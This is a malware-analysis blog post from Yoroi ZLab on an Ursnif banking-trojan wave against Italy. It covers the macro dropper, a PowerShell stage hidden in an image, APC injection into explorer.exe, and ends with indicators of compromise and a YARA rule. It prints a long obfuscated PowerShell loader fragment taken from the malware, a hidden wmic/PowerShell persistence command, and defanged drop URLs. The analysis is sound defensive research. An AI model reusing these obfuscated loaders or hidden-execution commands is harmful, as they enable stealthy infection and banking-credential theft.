Ursnif: Long Live the Steganography!

blog.yoroi.company/research/ursnif-long-live-the-steganography/

February 7, 2019

```
& ( ([StriNg]${VEr`B`OSEPRE`FE`ReN`Ce})[1,3]+'x'-Join'')(&("{0}{2}{3}{1}" -f
'n','T','EW-O','BJEC') ("{4}{0}{7}{6}{1}{2}{3}{5}"-f
'PREs','fla','te','stREa','io.coM','m','.DE','sIoN')([Io.mEmorYStREam]
[SYStEm.ConVeRT]::"Fro`mBa`s`E64S`TRiNG"(
("{40}{35}{2}{18}{24}{0}{17}{3}{14}{31}{5}{26}{30}{8}{6}{42}{27}{22}{37}{9}{15}{2
}{12}{11}{41}{33}{10}{20}{39}{28}{13}{23}{34}{19}{4}{32}{16}{1}{21}{38}{7}"-f
'VtrXM57owfTUT/Lnu3NJrftHhozhU3dndIIt2NxsUaYpLJuljcPrlo4tRkb2JAo0RnZGoudrcvLrYYEh
uTHFv3GidWLdNznUot8FxaCTvEVVDhB7T2NM1kupc5ZKDFcGoJoyrzDb65RSE0YNYOSX9WV1','4coO+x
YfB/vPQbP68cs/6+HT9Z+PHx+G9afrevv7u7/uH96+vX/6/PV5I','1ztROBXkwQLqkVYtMHBSO8X20gx
vOn','KGLDzEd8k5uzG2v','wfQ9IWKQ','zLqxaD8DZU3ywO','q','+tfn25uV6ur/wA=','aRjJrTn
h6o','I8UgM+Y0CBVMgT5kvUwpbg','W2hZ','9tIQg0JhKEIVv0JnFagWQH0gqtj','xceq9wvaYDypv
3ziIGdxm/RqMrLMi1BJD4sy8FjPo9iz7NhJi7f1nN7ulyZJy5EZz81DUkPIiZG+4aXq9RXP2O5UViswpJ
','fXoD0R1XCpaUavExavaafI7ONjyyKlatYvKyXjfzzVrUy5arcxilqgmoi','EbmNzR4SdHaICXK5pt
gkRnuoIoikTx7nJuwMKD82LHOWY5f4M9o8TpW4hYJV1/CwQ9G1OTrGJpsq4GuXZAYLhpFsuwsk8zZdxi4
AChAGpL4KiAX0DkrM3oqgEcbN0L8ujwJQhobQTg06oGkGFJA','uz2FFX2AenhJ2Vacge3OkpPMah6aiK
FHNJ++K8pvUH7L6QxNX5DGrR8QVeQ/HzBMBNfR5MgpyJY9IeVjExRyoapeYSmNT/WQPy+KJVb3I6ImL6q
5CSwFiRPr5HucF3cCrV0mOEBT5RgSdzQBCThVnnssK0KiAPAFGgm','QHyNWzwwKAf0t8OagWH1fD6+7f
vvv2/uZ51dB39+0L+yqHP7y/uV9ZjH7','MMeC47Pb4dsZzwJVtDA07MOa58BaHNI02uiqnEkdeB23MiX
Firz6tzzj1Xw4uX6+Hu3f0wrJ5O3','Oi0ccVtYJQKO285','4tQXI8G5102','+th/bK/eX76fv/x5us
T+Orq3/xffVieLm+e/f8/7N5WOHZ/OPNaB5eHm//fnv99Nvdh+P1p2A3','hukcnpHmEk2Xeh8IzuWfQ4
1NVBGFA3pCBt/5Rz5o7hxz+mt91kQQFRtfO2HmEBI4AMoGakCBjmlwKe6ABISkCR0','Ls10s1PmYcixS
ywTpItk386FPZzRAMYr4qAKY9eFEEBIxBJ4zHzYs6Eh8bKuOITvI2wQPjfEpImhskQXLY6mc48fQUmHx',
hhevhk93zx9vbavDel15UOOuyKbIocRD9ofsjt','h3e','gd4n1RCQBUXzCJgzRKETYZm','DVOQ','N
AVZaugR7Woo/bJI','RBw9hEGoiecwxWI0WO5To159IUgv81bsu0xP2TBaag2uBqHYYTgjIrMVYaBBDhm
hSDBMxu0CryYLnTDzsoQ3qQEud0wE','5JTjWHg7hHKyg8fMyhHoIaTqwOmpOzbwbe5UFMbCH','5C1J2
I36dwzXQQ','Y7gteTmAtMw35xas8zmbA1AQLR','GoYDj9A3L8qDf4rK','emGOVLUIGst8/bXCFj5sW
gvbVoHanHYWtZ9DV7fOfp+IIZ1','daxw3FF0rQ0i1a6KEWU','s1EyEDhEezBauiLPaTzzhJGos7BHAi
```

Introduction

Another wave of Ursnif attacks hits Italy.
Ursnif is one of the most active banking trojan. It is also known as GOZI, in fact it is a fork of the original Gozi-ISFB banking Trojan that got its source code leaked in 2014 updating and evolving Gozi features over the years. Also in this variant, Ursnif use weaponized office document with a VBA macro embedded that act as a dropper and multi-stage highly obfuscated powershell scripts in order to hide the real payload. In addition, this Ursnif use also steganography to hide the malicious code and avoid AV detection.

Moreover, this variant uses the *QueueUserAPC* process injection technique to inject into explorer.exe in a more stealthier way, because no remote threads are created in the target process.

Technical Analysis

The initial infection vector appears as a corrupted Excel file, inviting the user to enable macro execution to properly view the contents of the fake document, typically purchase order, invoice and so on.

Figure 1. Ursnif macro-weaponized document.
Extracting the macro code, shows the malware, in the first instance, checks the victim country using the *Application.International* MS Office property. If the result corresponds to Italy (code *39*), the macro executes the next command using *Shell* function.

Figure 2. Part of Visual Basic macro code.

The remaining functions of the macro are used to prepare the shell command to launch, concatenating several strings encoded in different ways (mainly in decimal and binary). The resulting command contains a huge binary string, which will be converted into a new Powershell command using the function:

[Convert]::ToInt16() -as[char]

Figure 3. Powershell script deployed by macro code.
As shown in the above figure, the malware tries to download an image from at least one of two embedded URLs:

The apparently legit image actually contains a new Powershell command. The weaponized image is crafted using the Invoke-PSImage script, which allows to embeds the bytes of a script into the pixels of a PNG file.

Figure 4. Powershell script hidden into "Fancy Mario"'s image.
Et voilà, another obfuscated Powershell stage. The payload is encoded in Base64, so it is easy to move on and reveal the next code.

Figure 5. Another stage of deobfuscation process.
Basically, it seems hexadecimal encoded which can be decoded through the previous *[Convert]::ToInt16* function.

The final code is:

Figure 6. Powershell script downloading the Ursnif loader.
It executes another check against victim's country, ensuring it is Italy. The information derives from the command:

Get-Culture | Format-List -Property *

If the check is positive, the script will download an EXE payload from *http://fillialopago[.]info/~DF2F63*, store it in *%TEMP%\Twain001.exe* and then execute it.

At the analysis time, the file is not detected by most antiviruses:

Figure 7. Ursnif loader detection rate
Despite its low detection, this executable is a classic Ursnif loader which is responsible to contact the server to download malicious binary which will be injected into *explorer.exe* process. It uses the function *IWebBrowser.Navigate* to download data from its malicious server *felipllet[.]info* with an URI path that looks like a path to a file video (.avi).

Figure 8. IWebBrowser.Navigate function invocation.
The server responds to this request sending encrypted data, as show in the following figure

Figure 9. Part of network traffic containing some encrypted data.

After a decryption routine, all useful data is stored into registry keys at *HKCU\Software\AppDataLow\Software\Microsoft\{GUID}*.

Figure 10. Registry keys set by the malware.
The regvalue named “defrdisc” (which reminds to a legit Disk Defragmentation Utility) contains the command will be executed as next step and at Windows startup, as displayed below.

Figure 11. Command executed at machine’s startup.
The command’s only goal is to execute the data contained into *“cmiftall”* regvalue through Powershell engine.

```
C:\Windows\system32\wbem\wmic.exe /output:clipboard process call create "powershell -
w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty
'HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-
C77A91BCEB4E').cmiftall))"
```

The *“cmiftall”*’s data is simply a Powershell script encoded in Hexadecimal way, so it is possible to reconstruct its behavior.

Figure 12. Powershell script used to inject the final binary through the APC Injection technique.
So, using the Powershell script stored into regkey (shown above), Ursnif is able to allocate space enough for its malicious byte array, containing the final payload, and to start it as legit process’ thread through *QueueUserAPC* and *SleepEx* calls.

The Ursnif’s complete workflow is shown in figure:

Figure 13. Ursnif’s workflow.
Finally, from data contained into last script’s byte array, it is possible to extract a DLL which corresponds to what Ursnif inject into *explorer.exe* process.

This DLL seems to be corrupted, as stated by some static analysis tools:

Figure 14. Info about the malformed DLL.
However, when it is loaded in memory using APC injection technique, it works with no problems. Submitting the file to VirusTotal, the result is devastating: 0/56 anti-malware detects it.

Figure 15. Final DLL’s detection rate.

Conclusions

As stated first by us in the previous Ursnif analysis in December 2018 and after by Cisco Talos Intelligence in January 2019, also this new Ursnif sample uses the same APC injection technique to instill its final binary into *explorer.exe* process, along with obfuscation and steganography in order to hide its malicious behaviour. Ursnif is more active and widespread than yesterday, the contacted C2 is not reachable but the malware implant is still alive due to the fact that the crooks are constantly changing their C2 to diverting tracking and analysis.

Yoroi ZLab - Cybaze researchers are continuing the analysis of this undetected DLL in order to extract information and evidences to share with the research community.

Indicators of Compromise

Hashes

- 630b6f15c770716268c539c5558152168004657beee740e73ee9966d6de1753f (old sample)
- f30454bcc7f1bc1f328b9b546f5906887fd0278c40d90ab75b8631ef18ed3b7f (new sample)
- 93dd4d7baf1e89d024c59dbffce1c4cbc85774a1b7bcc8914452dc8aa8a79a78 (final binary)

Dropurls

- https://images2.imgbox[.]com/55/c4/rBzwpAzi_o.png
- https://i.postimg[.]cc/PH6QvFvF/mario.png?dl=1
- https://fillialopago[.]info/~DF2F63

- http://felipllet[.]info

C2s

- pereloplatka[.]host
- roiboutique[.]ru
- uusisnfbfaa[.]xyz
- nolavalt[.]icu
- sendertips[.]ru

IPs

- 185.158.248.142
- 185.158.248.143

Artifacts

HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E

Yara rules

```
import "pe"
rule Ursnif_201902 {
meta:
        description = "Yara rule for Ursnif loader - January version"
        author = "Yoroi - ZLab"
        last_updated = "2019-02-06"
        tlp = "white"
        category = "informational"
strings:
        $a1 = "PADDINGXX"
        $a2 = { 66 66 66 66 66 66 66 }
condition:
        all of ($a*) and pe.number_of_sections == 4 and
(pe.version_info["OriginalFilename"] contains "Lumen.exe" or
pe.version_info["OriginalFilename"] contains "PropositionReputation.exe")
 }
```

This blog post was authored by Antonio Farina, Davide Testa and Antonio Pirozzi of Cybaze-Yoroi Z-LAB